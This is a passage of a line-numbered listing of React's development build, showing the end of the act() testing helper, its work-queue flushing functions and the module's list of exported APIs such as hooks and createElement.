3134 flushActQueue(queue);
3135 }
3136 }
3137 } catch (error) {
3138 popActScope(prevActScopeDepth);
3139 throw error;
3140 } finally {
3141 ReactCurrentActQueue.isBatchingLegacy = prevIsBatchingLegacy;
3142 }
3143
3144 if (result !== null && typeof result === 'object' && typeof result.then === 'function') {
3145 var thenableResult = result; // The callback is an async function (i.e. returned a promise). Wait
3146 // for it to resolve before exiting the current scope.
3147
3148 var wasAwaited = false;
3149 var thenable = {
3150 then: function (resolve, reject) {
3151 wasAwaited = true;
3152 thenableResult.then(function (returnValue) {
3153 popActScope(prevActScopeDepth);
3154
3155 if (actScopeDepth === 0) {
3156 // We've exited the outermost act scope. Recursively flush the
3157 // queue until there's no remaining work.
3158 recursivelyFlushAsyncActWork(returnValue, resolve, reject);
3159 } else {
3160 resolve(returnValue);
3161 }
3162 }, function (error) {
3163 // The callback threw an error.
3164 popActScope(prevActScopeDepth);
3165 reject(error);
3166 });
3167 }
3168 };
3169
3170 {
3171 if (!didWarnNoAwaitAct && typeof Promise !== 'undefined') {
3172 // eslint-disable-next-line no-undef
3173 Promise.resolve().then(function () {}).then(function () {
3174 if (!wasAwaited) {
3175 didWarnNoAwaitAct = true;
3176
3177 error('You called act(async () => ...) without await. ' + 'This could lead to unexpected testing behaviour, ' + 'interleaving multiple act calls and mixing their ' + 'scopes. ' + 'You should - await act(async () => ...);');
3178 }
3179 });
3180 }
3181 }
3182
3183 return thenable;
3184 } else {
3185 var returnValue = result; // The callback is not an async function. Exit the current scope
3186 // immediately, without awaiting.
3187
3188 popActScope(prevActScopeDepth);
3189
3190 if (actScopeDepth === 0) {
3191 // Exiting the outermost act scope. Flush the queue.
3192 var _queue = ReactCurrentActQueue.current;
3193
3194 if (_queue !== null) {
3195 flushActQueue(_queue);
3196 ReactCurrentActQueue.current = null;
3197 } // Return a thenable. If the user awaits it, we'll flush again in
3198 // case additional work was scheduled by a microtask.
3199
3200
3201 var _thenable = {
3202 then: function (resolve, reject) {
3203 // Confirm we haven't re-entered another `act` scope, in case
3204 // the user does something weird like await the thenable
3205 // multiple times.
3206 if (ReactCurrentActQueue.current === null) {
3207 // Recursively flush the queue until there's no remaining work.
3208 ReactCurrentActQueue.current = [];
3209 recursivelyFlushAsyncActWork(returnValue, resolve, reject);
3210 } else {
3211 resolve(returnValue);
3212 }
3213 }
3214 };
3215 return _thenable;
3216 } else {
3217 // Since we're inside a nested `act` scope, the returned thenable
3218 // immediately resolves. The outer scope will flush the queue.
3219 var _thenable2 = {
3220 then: function (resolve, reject) {
3221 resolve(returnValue);
3222 }
3223 };
3224 return _thenable2;
3225 }
3226 }
3227 }
3228 }
3229
3230 function popActScope(prevActScopeDepth) {
3231 {
3232 if (prevActScopeDepth !== actScopeDepth - 1) {
3233 error('You seem to have overlapping act() calls, this is not supported. ' + 'Be sure to await previous act() calls before making a new one. ');
3234 }
3235
3236 actScopeDepth = prevActScopeDepth;
3237 }
3238 }
3239
3240 function recursivelyFlushAsyncActWork(returnValue, resolve, reject) {
3241 {
3242 var queue = ReactCurrentActQueue.current;
3243
3244 if (queue !== null) {
3245 try {
3246 flushActQueue(queue);
3247 enqueueTask(function () {
3248 if (queue.length === 0) {
3249 // No additional work was scheduled. Finish.
3250 ReactCurrentActQueue.current = null;
3251 resolve(returnValue);
3252 } else {
3253 // Keep flushing work until there's none left.
3254 recursivelyFlushAsyncActWork(returnValue, resolve, reject);
3255 }
3256 });
3257 } catch (error) {
3258 reject(error);
3259 }
3260 } else {
3261 resolve(returnValue);
3262 }
3263 }
3264 }
3265
3266 var isFlushing = false;
3267
3268 function flushActQueue(queue) {
3269 {
3270 if (!isFlushing) {
3271 // Prevent re-entrance.
3272 isFlushing = true;
3273 var i = 0;
3274
3275 try {
3276 for (; i < queue.length; i++) {
3277 var callback = queue[i];
3278
3279 do {
3280 callback = callback(true);
3281 } while (callback !== null);
3282 }
3283
3284 queue.length = 0;
3285 } catch (error) {
3286 // If something throws, leave the remaining callbacks on the queue.
3287 queue = queue.slice(i + 1);
3288 throw error;
3289 } finally {
3290 isFlushing = false;
3291 }
3292 }
3293 }
3294 }
3295
3296 var createElement$1 = createElementWithValidation ;
3297 var cloneElement$1 = cloneElementWithValidation ;
3298 var createFactory = createFactoryWithValidation ;
3299 var Children = {
3300 map: mapChildren,
3301 forEach: forEachChildren,
3302 count: countChildren,
3303 toArray: toArray,
3304 only: onlyChild
3305 };
3306
3307 exports.Children = Children;
3308 exports.Component = Component;
3309 exports.Fragment = REACT_FRAGMENT_TYPE;
3310 exports.Profiler = REACT_PROFILER_TYPE;
3311 exports.PureComponent = PureComponent;
3312 exports.StrictMode = REACT_STRICT_MODE_TYPE;
3313 exports.Suspense = REACT_SUSPENSE_TYPE;
3314 exports.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED = ReactSharedInternals$1;
3315 exports.act = act;
3316 exports.cloneElement = cloneElement$1;
3317 exports.createContext = createContext;
3318 exports.createElement = createElement$1;
3319 exports.createFactory = createFactory;
3320 exports.createRef = createRef;
3321 exports.forwardRef = forwardRef;
3322 exports.isValidElement = isValidElement;
3323 exports.lazy = lazy;
3324 exports.memo = memo;
3325 exports.startTransition = startTransition;
3326 exports.unstable_act = act;
3327 exports.useCallback = useCallback;
3328 exports.useContext = useContext;
3329 exports.useDebugValue = useDebugValue;
3330 exports.useDeferredValue = useDeferredValue;
3331 exports.useEffect = useEffect;
3332 exports.useId = useId;
3333 exports.useImperativeHandle = useImperativeHandle;
3334 exports.useInsertionEffect = useInsertionEffect;
3335 exports.useLayoutEffect = useLayoutEffect;
3336 exports.useMemo = useMemo;
3337 exports.useReducer = useReducer;
3338 exports.useRef = useRef;
3339 exports.useState = useState;
3340 exports.useSyncExternalStore = useSyncExternalStore;
3341 exports.useTransition = useTransition;
3342 exports.version = ReactVersion;
3343
3344})));
3345